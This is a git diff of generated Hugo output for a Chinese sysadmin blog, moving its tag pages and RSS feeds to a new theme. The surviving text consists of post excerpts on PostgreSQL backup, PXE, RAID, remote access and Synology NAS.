    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    +
    + + + +
    +
    + +
    + + \ No newline at end of file diff --git a/public/tags/page/3/index.xml b/public/tags/page/3/index.xml new file mode 100644 index 00000000..141140ba --- /dev/null +++ b/public/tags/page/3/index.xml @@ -0,0 +1,83 @@ + + + Tags - MCの飄狂山莊㊣ + https://h.cowbay.org/tags/ + Recent content in Tags on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 04 Oct 2019 14:12:15 +0800 + + + + + docker + https://h.cowbay.org/tags/docker/ + Tue, 21 May 2019 17:25:15 +0800 + + https://h.cowbay.org/tags/docker/ + + + timezone + https://h.cowbay.org/tags/timezone/ + Tue, 21 May 2019 17:25:15 +0800 + + https://h.cowbay.org/tags/timezone/ + + + bsd + https://h.cowbay.org/tags/bsd/ + Tue, 23 Apr 2019 15:28:56 +0800 + + https://h.cowbay.org/tags/bsd/ + + + inventory + https://h.cowbay.org/tags/inventory/ + Tue, 23 Apr 2019 15:28:56 +0800 + + https://h.cowbay.org/tags/inventory/ + + + log + https://h.cowbay.org/tags/log/ + Tue, 23 Apr 2019 15:08:36 +0800 + + https://h.cowbay.org/tags/log/ + + + centos + https://h.cowbay.org/tags/centos/ + Wed, 27 Mar 2019 17:44:49 +0800 + + https://h.cowbay.org/tags/centos/ + + + raid + https://h.cowbay.org/tags/raid/ + Wed, 16 Jan 2019 09:58:50 +0800 + + https://h.cowbay.org/tags/raid/ + + + freenas + https://h.cowbay.org/tags/freenas/ + Thu, 13 Dec 2018 17:40:20 +0800 + + https://h.cowbay.org/tags/freenas/ + + + mdadm + https://h.cowbay.org/tags/mdadm/ + Wed, 12 Dec 2018 11:10:22 +0800 + + https://h.cowbay.org/tags/mdadm/ + + + vim + https://h.cowbay.org/tags/vim/ + Fri, 07 Dec 2018 15:19:47 +0800 + + https://h.cowbay.org/tags/vim/ + + + + \ No newline at end of file diff --git a/public/tags/page/4/index.html b/public/tags/page/4/index.html new file mode 100644 index 00000000..2ad5cd44 --- /dev/null +++ b/public/tags/page/4/index.html @@ -0,0 +1,123 @@ + + + + + + + + Tags | MCの飄狂山莊㊣ + + + + + + + + + + + + +
    + + +
    +
    + +
    +
    +

    Tags

    + +
    +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    +
    + + + +
    +
    + +
    + + \ No newline at end of file diff --git a/public/tags/page/4/index.xml b/public/tags/page/4/index.xml new file mode 100644 index 00000000..a1b94973 --- /dev/null +++ b/public/tags/page/4/index.xml @@ -0,0 +1,83 @@ + + + Tags - MCの飄狂山莊㊣ + https://h.cowbay.org/tags/ + Recent content in Tags on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 04 Oct 2019 14:12:15 +0800 + + + + + NAS + https://h.cowbay.org/tags/nas/ + Tue, 04 Dec 2018 10:25:19 +0800 + + https://h.cowbay.org/tags/nas/ + + + synology + https://h.cowbay.org/tags/synology/ + Tue, 04 Dec 2018 10:25:19 +0800 + + https://h.cowbay.org/tags/synology/ + + + 群暉 + https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ + Tue, 04 Dec 2018 10:25:19 +0800 + + https://h.cowbay.org/tags/%E7%BE%A4%E6%9A%89/ + + + 10G + https://h.cowbay.org/tags/10g/ + Fri, 30 Nov 2018 16:05:14 +0800 + + https://h.cowbay.org/tags/10g/ + + + mellanox + https://h.cowbay.org/tags/mellanox/ + Fri, 30 Nov 2018 16:05:14 +0800 + + https://h.cowbay.org/tags/mellanox/ + + + 筆記 + https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ + Fri, 30 Nov 2018 16:05:14 +0800 + + https://h.cowbay.org/tags/%E7%AD%86%E8%A8%98/ + + + firefox + https://h.cowbay.org/tags/firefox/ + Thu, 15 Nov 2018 11:06:28 +0800 + + https://h.cowbay.org/tags/firefox/ + + + metabase + https://h.cowbay.org/tags/metabase/ + Thu, 15 Nov 2018 11:06:28 +0800 + + https://h.cowbay.org/tags/metabase/ + + + psql + https://h.cowbay.org/tags/psql/ + Mon, 12 Nov 2018 09:48:12 +0800 + + https://h.cowbay.org/tags/psql/ + + + du + https://h.cowbay.org/tags/du/ + Tue, 06 Nov 2018 15:24:29 +0800 + + https://h.cowbay.org/tags/du/ + + + + \ No newline at end of file diff --git a/public/tags/page/5/index.html b/public/tags/page/5/index.html new file mode 100644 index 00000000..297d14b2 --- /dev/null +++ b/public/tags/page/5/index.html @@ -0,0 +1,87 @@ + + + + + + + + Tags | MCの飄狂山莊㊣ + + + + + + + + + + + + +
    + + +
    +
    + +
    +
    +

    Tags

    + +
    +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    + +
    +
    + + + +
    +
    + +
    + + \ No newline at end of file diff --git a/public/tags/page/5/index.xml b/public/tags/page/5/index.xml new file mode 100644 index 00000000..92a708fe --- /dev/null +++ b/public/tags/page/5/index.xml @@ -0,0 +1,41 @@ + + + Tags - MCの飄狂山莊㊣ + https://h.cowbay.org/tags/ + Recent content in Tags on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 04 Oct 2019 14:12:15 +0800 + + + + + Bookstack + https://h.cowbay.org/tags/bookstack/ + Tue, 06 Nov 2018 14:57:14 +0800 + + https://h.cowbay.org/tags/bookstack/ + + + SSH + https://h.cowbay.org/tags/ssh/ + Mon, 05 Nov 2018 14:16:54 +0800 + + https://h.cowbay.org/tags/ssh/ + + + ps + https://h.cowbay.org/tags/ps/ + Mon, 05 Nov 2018 07:46:53 +0800 + + https://h.cowbay.org/tags/ps/ + + + 短今 + https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ + Mon, 05 Nov 2018 07:46:53 +0800 + + https://h.cowbay.org/tags/%E7%9F%AD%E4%BB%8A/ + + + + \ No newline at end of file diff --git a/public/tags/pgbarman/index.html b/public/tags/pgbarman/index.html index 8a7b1c55..372041cb 100644 --- a/public/tags/pgbarman/index.html +++ b/public/tags/pgbarman/index.html @@ -1,212 +1,373 @@ - - - - - - - - - - - Pgbarman | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + pgbarman + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    +
    - -
    - - - - -
    +
    +
    + + + +
    +
    + + + + + + + + + + - - + diff --git a/public/tags/pgbarman/index.xml b/public/tags/pgbarman/index.xml index a728f126..92553fb4 100644 --- a/public/tags/pgbarman/index.xml +++ b/public/tags/pgbarman/index.xml @@ -1,10 +1,11 @@ - Pgbarman on MCの飄狂山莊㊣ + pgbarman on MC部落 https://h.cowbay.org/tags/pgbarman/ - Recent content in Pgbarman on MCの飄狂山莊㊣ + Recent content in pgbarman on MC部落 Hugo -- gohugo.io + en-us Fri, 23 Aug 2019 14:54:13 +0800 @@ -16,9 +17,7 @@ Fri, 23 Aug 2019 14:54:13 +0800 https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/ - <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> - -<p></p> + <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> @@ -33,9 +32,7 @@ <p>前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看</p> -<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> - -<p></p> +<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> diff --git a/public/tags/pgbarman/page/1/index.xml/index.html b/public/tags/pgbarman/page/1/index.xml/index.html new file mode 100644 index 00000000..f2b5214c --- /dev/null +++ b/public/tags/pgbarman/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/pgbarman/ \ No newline at end of file diff --git a/public/tags/postgresql/index.html b/public/tags/postgresql/index.html index ac1ef654..8dc1e7fd 100644 --- a/public/tags/postgresql/index.html +++ b/public/tags/postgresql/index.html @@ -1,530 +1,573 @@ - - - - - - - - - - - Postgresql | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + postgresql + + + + + + + + + + + + + + + + + + + + + - - - - - - - - - - - - - - - - - - - - - + + + -
    -
    -
    + +
    + +
    +

    + Tag: postgresql + + + + rss + + +

    - - + + + +
    + + + + + + + + +
    +
    + 05 September 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    + +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 23 August 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    + +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 23 August 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    很久以前就有看到這個用來備份postgresql 的 pgbarman

    https://www.pgbarman.org/

    @@ -532,265 +575,147 @@

    不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的…

    -

    - - - - - -
    - - - +
    +
    + +
    + + + + + + - - + diff --git a/public/tags/postgresql/index.xml b/public/tags/postgresql/index.xml index e417f7e2..4d796f46 100644 --- a/public/tags/postgresql/index.xml +++ b/public/tags/postgresql/index.xml @@ -1,10 +1,11 @@ - Postgresql on MCの飄狂山莊㊣ + postgresql on MC部落 https://h.cowbay.org/tags/postgresql/ - Recent content in Postgresql on MCの飄狂山莊㊣ + Recent content in postgresql on MC部落 Hugo -- gohugo.io + en-us Fri, 20 Sep 2019 10:17:17 +0800 @@ -26,9 +27,7 @@ <p>感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA</p> -<p>不過,反正當作練功嘛,多測試一套也不錯!</p> - -<p></p> +<p>不過,反正當作練功嘛,多測試一套也不錯!</p> @@ -52,9 +51,7 @@ <p>這次改從system file level 來下手</p> -<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> - -<p></p> +<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> @@ -63,9 +60,7 @@ Thu, 05 Sep 2019 11:42:28 +0800 https://h.cowbay.org/post/backup-restore-postgresql-with-pgbackrest/ - <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> - -<p></p> + <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> @@ -74,9 +69,7 @@ Fri, 23 Aug 2019 14:54:13 +0800 https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/ - <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> - -<p></p> + <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> @@ -91,9 +84,7 @@ <p>前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看</p> -<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> - -<p></p> +<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> diff --git a/themes/public/tags/postgresql/page/1/index.html b/public/tags/postgresql/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/postgresql/page/1/index.html rename to public/tags/postgresql/page/1/index.xml/index.html diff --git a/public/tags/proxmox/index.html b/public/tags/proxmox/index.html index fcc4c67e..c6aadd8a 100644 --- a/public/tags/proxmox/index.html +++ b/public/tags/proxmox/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Proxmox | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + proxmox + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: proxmox + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 17 June 2019 / + + + + + + + + + + + + / + + Proxmox + + +
    + +
    +
    +

    前幾天接的一個case

    因為費用的關係,所以沒有考慮用傳統定義上的伺服器(DELL R640)

    @@ -143,261 +333,147 @@

    一樣,成本考量,就不用INTEL 了,買了這張 ASUS 10G 網卡

    - - - - -
    - - - +
    +
    + +
    +
    +
    - - + - - - + +

    What’s the Worst That Could Happen?

    + - -
    - +
    - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/proxmox/index.xml b/public/tags/proxmox/index.xml index a62abdfa..ccccbbd2 100644 --- a/public/tags/proxmox/index.xml +++ b/public/tags/proxmox/index.xml @@ -1,10 +1,11 @@ - Proxmox on MCの飄狂山莊㊣ + proxmox on MC部落 https://h.cowbay.org/tags/proxmox/ - Recent content in Proxmox on MCの飄狂山莊㊣ + Recent content in proxmox on MC部落 Hugo -- gohugo.io + en-us Mon, 17 Jun 2019 13:20:57 +0800 diff --git a/themes/public/tags/proxmox/page/1/index.html b/public/tags/proxmox/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/proxmox/page/1/index.html rename to public/tags/proxmox/page/1/index.xml/index.html diff --git a/public/tags/ps/index.html b/public/tags/ps/index.html index 55c370dc..3e967f5b 100644 --- a/public/tags/ps/index.html +++ b/public/tags/ps/index.html @@ -1,390 +1,423 @@ - - - - - - - - - - - Ps | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + ps + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    - - +
    + -
    - + + +
    + +
    +

    + Tag: ps + + + + rss + + +

    +

    Posts

    +
    + +
    + +
    + +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    + +
    + + + - - + diff --git a/public/tags/ps/index.xml b/public/tags/ps/index.xml index 725cd65c..898727b4 100644 --- a/public/tags/ps/index.xml +++ b/public/tags/ps/index.xml @@ -1,10 +1,11 @@ - Ps on MCの飄狂山莊㊣ + ps on MC部落 https://h.cowbay.org/tags/ps/ - Recent content in Ps on MCの飄狂山莊㊣ + Recent content in ps on MC部落 Hugo -- gohugo.io + en-us Mon, 05 Nov 2018 07:46:53 +0800 diff --git a/themes/public/tags/ps/page/1/index.html b/public/tags/ps/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/ps/page/1/index.html rename to public/tags/ps/page/1/index.xml/index.html diff --git a/public/tags/psql/index.html b/public/tags/psql/index.html index d5478d83..41a717d5 100644 --- a/public/tags/psql/index.html +++ b/public/tags/psql/index.html @@ -1,403 +1,475 @@ - - - - - - - - - - - Psql | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + psql + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: psql + + + + rss + + +

    - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 12 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    - -
    - +

    雖然都是在同一台機器上的同一個資料庫

    + +

    但是希望能夠不同team的人用不同的資料庫使用者

    + +

    這樣萬一出事,會比較好抓兇手??

    + + + +
    +
    +
    + +
    +
    + +
    + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/psql/index.xml b/public/tags/psql/index.xml index b575fe10..cc85d7c3 100644 --- a/public/tags/psql/index.xml +++ b/public/tags/psql/index.xml @@ -1,10 +1,11 @@ - Psql on MCの飄狂山莊㊣ + psql on MC部落 https://h.cowbay.org/tags/psql/ - Recent content in Psql on MCの飄狂山莊㊣ + Recent content in psql on MC部落 Hugo -- gohugo.io + en-us Mon, 12 Nov 2018 09:48:12 +0800 @@ -22,9 +23,7 @@ <p>但是希望能夠不同team的人用不同的資料庫使用者</p> -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> +<p>這樣萬一出事,會比較好抓兇手??</p> diff --git a/themes/public/tags/psql/page/1/index.html b/public/tags/psql/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/psql/page/1/index.html rename to public/tags/psql/page/1/index.xml/index.html diff --git a/public/tags/pxe/index.html b/public/tags/pxe/index.html index 7a252da8..2854b885 100644 --- a/public/tags/pxe/index.html +++ b/public/tags/pxe/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Pxe | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + PXE + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: PXE + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 31 July 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近有個任務,需要大量安裝client

    想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot

    @@ -147,267 +337,147 @@

    看似很簡單的一件事情,卻搞了我兩天….

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - - - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/pxe/index.xml b/public/tags/pxe/index.xml index 028e4495..0f42c468 100644 --- a/public/tags/pxe/index.xml +++ b/public/tags/pxe/index.xml @@ -1,10 +1,11 @@ - Pxe on MCの飄狂山莊㊣ + PXE on MC部落 https://h.cowbay.org/tags/pxe/ - Recent content in Pxe on MCの飄狂山莊㊣ + Recent content in PXE on MC部落 Hugo -- gohugo.io + en-us Wed, 31 Jul 2019 11:06:33 +0800 @@ -30,9 +31,7 @@ <p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> -<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> - -<p></p> +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> diff --git a/public/tags/pxe/page/1/index.xml/index.html b/public/tags/pxe/page/1/index.xml/index.html new file mode 100644 index 00000000..44447629 --- /dev/null +++ b/public/tags/pxe/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/pxe/ \ No newline at end of file diff --git a/public/tags/raid/index.html b/public/tags/raid/index.html index cc98236a..25b401a1 100644 --- a/public/tags/raid/index.html +++ b/public/tags/raid/index.html @@ -1,401 +1,473 @@ - - - - - - - - - - - Raid | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + raid + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    + - +
    + -
    - + + +
    + +
    +

    + Tag: raid + + + + rss + + +

    +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 16 January 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    最近在弄一台機器,想要把ubuntu 18.04 安裝在software raid上

    + +

    因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了

    + +

    結果在安裝過程中,做raid碰到一些問題,來紀錄一下

    + +
    +
    +
    +
    + +
    + +
    + +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - - + diff --git a/public/tags/raid/index.xml b/public/tags/raid/index.xml index 8a7a77d7..7dc3eec4 100644 --- a/public/tags/raid/index.xml +++ b/public/tags/raid/index.xml @@ -1,10 +1,11 @@ - Raid on MCの飄狂山莊㊣ + raid on MC部落 https://h.cowbay.org/tags/raid/ - Recent content in Raid on MCの飄狂山莊㊣ + Recent content in raid on MC部落 Hugo -- gohugo.io + en-us Wed, 16 Jan 2019 09:58:50 +0800 @@ -20,9 +21,7 @@ <p>因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了</p> -<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> - -<p></p> +<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> diff --git a/public/tags/raid/page/1/index.xml/index.html b/public/tags/raid/page/1/index.xml/index.html new file mode 100644 index 00000000..98120891 --- /dev/null +++ b/public/tags/raid/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/raid/ \ No newline at end of file diff --git a/public/tags/remote/index.html b/public/tags/remote/index.html index 943c5eb6..93b4b29f 100644 --- a/public/tags/remote/index.html +++ b/public/tags/remote/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Remote | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + remote + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: remote + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 20 June 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

    但是如果要過 internet ,就會碰到各種開port的問題

    @@ -141,267 +331,147 @@

    只要下載teamviewer被控端,開啟後報ID 給協助者就好了

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - -
    - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/remote/index.xml b/public/tags/remote/index.xml index f78a347c..fd5f5e32 100644 --- a/public/tags/remote/index.xml +++ b/public/tags/remote/index.xml @@ -1,10 +1,11 @@ - Remote on MCの飄狂山莊㊣ + remote on MC部落 https://h.cowbay.org/tags/remote/ - Recent content in Remote on MCの飄狂山莊㊣ + Recent content in remote on MC部落 Hugo -- gohugo.io + en-us Thu, 20 Jun 2019 11:03:12 +0800 @@ -24,9 +25,7 @@ <p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> -<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> - -<p></p> +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> diff --git a/public/tags/remote/page/1/index.xml/index.html b/public/tags/remote/page/1/index.xml/index.html new file mode 100644 index 00000000..56573270 --- /dev/null +++ b/public/tags/remote/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/remote/ \ No newline at end of file diff --git a/public/tags/restore/index.html b/public/tags/restore/index.html index 97297522..f838afdf 100644 --- a/public/tags/restore/index.html +++ b/public/tags/restore/index.html @@ -1,405 +1,473 @@ - - - - - - - - - - - Restore | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + restore + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + +
    + - +
    + -
    - + + +
    + +
    +

    + Tag: restore + + + + rss + + +

    +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 06 September 2019 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    前面測試了用pgbarman / pgbackrest 來備份 postgresql

    + +

    這次改從system file level 來下手

    + +

    採用zfs 的快照來備份、還原postgresql 資料庫

    + +
    +
    +
    +
    + +
    + +
    + +
    +

    + + MC部落 + +

    + + +

    What’s the Worst That Could Happen?

    + + + +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    +
    +
    + + + - - + diff --git a/public/tags/restore/index.xml b/public/tags/restore/index.xml index a2f7ad93..2174e235 100644 --- a/public/tags/restore/index.xml +++ b/public/tags/restore/index.xml @@ -1,10 +1,11 @@ - Restore on MCの飄狂山莊㊣ + restore on MC部落 https://h.cowbay.org/tags/restore/ - Recent content in Restore on MCの飄狂山莊㊣ + Recent content in restore on MC部落 Hugo -- gohugo.io + en-us Fri, 06 Sep 2019 10:42:11 +0800 @@ -20,9 +21,7 @@ <p>這次改從system file level 來下手</p> -<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> - -<p></p> +<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> diff --git a/public/tags/restore/page/1/index.xml/index.html b/public/tags/restore/page/1/index.xml/index.html new file mode 100644 index 00000000..978bc7b4 --- /dev/null +++ b/public/tags/restore/page/1/index.xml/index.html @@ -0,0 +1 @@ +https://h.cowbay.org/tags/restore/ \ No newline at end of file diff --git a/public/tags/ssh/index.html b/public/tags/ssh/index.html index 3575eb0b..c28b7e90 100644 --- a/public/tags/ssh/index.html +++ b/public/tags/ssh/index.html @@ -1,137 +1,327 @@ - - - - - - - - - - - Ssh | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + SSH + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
    + +
    +

    + Tag: SSH + + + + rss + + +

    +
    + +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 05 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file 之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 @@ -146,269 +336,147 @@

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet 所以導致明明檔案就在那邊,但是要取得就是很麻煩

    -

    - - - - - -
    - - - +
    +
    + +
    +
    +
    + - + +

    What’s the Worst That Could Happen?

    + - -
    - + - - - +
    + +

    © 2018 Göran Svensson

    + +

    Nederburg Hugo Theme by Appernetic.

    + +

    A port of Tracks by Compete Themes.

    + +
    + + + + + - - + diff --git a/public/tags/ssh/index.xml b/public/tags/ssh/index.xml index c60a680b..dfd78c4b 100644 --- a/public/tags/ssh/index.xml +++ b/public/tags/ssh/index.xml @@ -1,10 +1,11 @@ - Ssh on MCの飄狂山莊㊣ + SSH on MC部落 https://h.cowbay.org/tags/ssh/ - Recent content in Ssh on MCの飄狂山莊㊣ + Recent content in SSH on MC部落 Hugo -- gohugo.io + en-us Mon, 05 Nov 2018 14:16:54 +0800 @@ -29,9 +30,7 @@ <p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> <p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> +所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> diff --git a/themes/public/tags/ssh/page/1/index.html b/public/tags/ssh/page/1/index.xml/index.html similarity index 100% rename from themes/public/tags/ssh/page/1/index.html rename to public/tags/ssh/page/1/index.xml/index.html diff --git a/public/tags/synology/index.html b/public/tags/synology/index.html index 26eb1da7..cbc18209 100644 --- a/public/tags/synology/index.html +++ b/public/tags/synology/index.html @@ -1,228 +1,387 @@ - - - - - - - - - - - Synology | MCの飄狂山莊㊣ - - - - - - - - - - + + + + + + + + synology + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + +
  • + +
  • + -
    - +
  • + + + googleplus + +
  • -
    - - - - -
    - +
  • + +
  • + + +
  • + + + instagram + +
  • + -
    -

    [雜念] 群暉 Synology NAS DS 415+ 誇張的維修費用

    -
    - - - 2018-12-04 - - + +
  • + +
  • + - + +
  • + + + linkedin + +
  • + - - - - 群暉 - - - + +
  • + + + stackoverflow + +
  • + - - Eric Chang - -
    -

    前幾天公司的一台 Synology DS 415+ 發生異常

    +
  • + + + github + +
  • + -

    注意到的時候,四顆硬碟燈號都不斷的在閃爍

    -

    但是已經無法登入系統

    + +
  • + + + pinterest + +
  • + -

    重開機之後更慘,四顆硬碟燈號全部橘燈恆亮

    + +
  • + + + rss + +
  • + -

    底下的電源藍燈不斷的在閃爍

    -

    雖然我一再表示不希望送修了

    +
    -

    一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛…

    +
    -

    不過主管還是希望能夠先問群暉維修的費用多少

    +
    +
    + +
    + -

    + + - -
    - -
    - - - + + +
    + +
    +

    + Tag: synology + + + + rss + + +

    - +

    Posts

    +
    + + + +
    + + + + + + + + +
    +
    + 04 December 2018 / + + + + + + + + + + + + / + + 群暉 + + +
    + +
    +
    +

    前幾天公司的一台 Synology DS 415+ 發生異常

    - -
    - -
    - - - - +

    注意到的時候,四顆硬碟燈號都不斷的在閃爍

    -
    - - +

    但是已經無法登入系統

    +

    重開機之後更慘,四顆硬碟燈號全部橘燈恆亮

    -
    -

    筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

    -
    - - - 2018-11-05 - - +

    底下的電源藍燈不斷的在閃爍

    - +

    雖然我一再表示不希望送修了

    - - - - 筆記 - - - +

    一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛…

    - - Eric Chang - -
    +

    不過主管還是希望能夠先問群暉維修的費用多少

    - -

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file +

    +
    +
    +
    +
    + + + +
    + + + + + + + + +
    +
    + 05 November 2018 / + + + + + + + + + + + + / + + 筆記 + + +
    + +
    +
    +

    公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file 之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

    這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 @@ -237,269 +396,147 @@

    但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet 所以導致明明檔案就在那邊,但是要取得就是很麻煩

    -

    + +
    +
    +
    +
    + +
    - - - - -
    +
    +
    + +

    What’s the Worst That Could Happen?

    + - - - -
    - - - -
    - +
    - - +
    + +

    © 2018 Göran Svensson

    + +

